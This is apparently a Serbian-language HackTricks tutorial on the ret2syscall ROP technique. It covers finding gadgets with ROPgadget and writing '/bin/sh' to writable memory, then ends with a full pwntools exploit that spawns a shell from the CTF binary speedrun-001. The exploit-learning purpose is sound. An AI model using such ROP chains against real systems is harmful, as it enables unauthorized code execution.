Ret2syscall

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Ovo je slično Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno za pozivanje syscall sys_execve sa nekim argumentima za izvršavanje /bin/sh. Ova tehnika se obično primenjuje na binarnim datotekama koje su statički kompajlirane, tako da može biti mnogo gadgeta i syscall instrukcija.

Da bismo pripremili poziv za syscall, potrebna je sledeća konfiguracija:

  • rax: 59 Specifikujte sys_execve
  • rdi: ptr do "/bin/sh" specifikujte datoteku za izvršavanje
  • rsi: 0 specifikujte da nema prosleđenih argumenata
  • rdx: 0 specifikujte da nema prosleđenih promenljivih okruženja

Dakle, u suštini, potrebno je napisati string /bin/sh negde i zatim izvršiti syscall (imajući u vidu potrebnu padding za kontrolu steka). Za to nam je potreban gadget da napišemo /bin/sh u poznatom području.

tip

Još jedan zanimljiv syscall za pozivanje je mprotect koji bi omogućio napadaču da modifikuje dozvole stranice u memoriji. Ovo se može kombinovati sa ret2shellcode.

Gadgeti za registre

Hajde da počnemo sa pronalaženjem kako kontrolisati te registre:

bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret 0x0000000000400686 : pop rdi ; ret 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret

Sa ovim adresama je moguće pisati sadržaj na steku i učitati ga u registre.

Pisanje stringa

Writable memory

Prvo treba da pronađete mesto koje može da se piše u memoriji

bash
gef> vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Write String in memory

Zatim treba da pronađete način da upišete proizvoljan sadržaj na ovu adresu

python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

Automatizujte ROP lanac

Sledeća komanda kreira kompletan sys_execve ROP lanac za dati statički binarni fajl kada postoje write-what-where gadgeti i syscall instrukcije:

bash
ROPgadget --binary vuln --ropchain

32 bita

python
''' Lets write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop += popRdx # place value into EAX rop += "/bin" # 4 bytes at a time rop += popRax # place value into edx rop += p32(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += popRdx rop += "//sh" rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget

64 bita

python
''' Lets write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx

Nedostatak Gadžeta

Ako vam nedostaju gadžeti, na primer da napišete /bin/sh u memoriji, možete koristiti SROP tehniku da kontrolišete sve vrednosti registara (uključujući RIP i registre parametara) iz steka:

SROP - Sigreturn-Oriented Programming

Primer Eksploatacije

python
from pwn import * target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad') # Establish our ROP Gadgets popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5) # 0x000000000048d251 : mov qword ptr [rax], rdx ; ret writeGadget = p64(0x48d251) # Our syscall gadget syscall = p64(0x40129c) ''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000 pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget ''' Prep the four registers with their arguments, and make the syscall pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0 syscall ''' rop += popRax rop += p64(0x3b) rop += popRdi rop += p64(0x6b6000) rop += popRsi rop += p64(0) rop += popRdx rop += p64(0) rop += syscall # Add the padding to the saved return address payload = "0"*0x408 + rop # Send the payload, drop to an interactive shell to use our new shell target.sendline(payload) target.interactive()

Ostali Primeri i Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks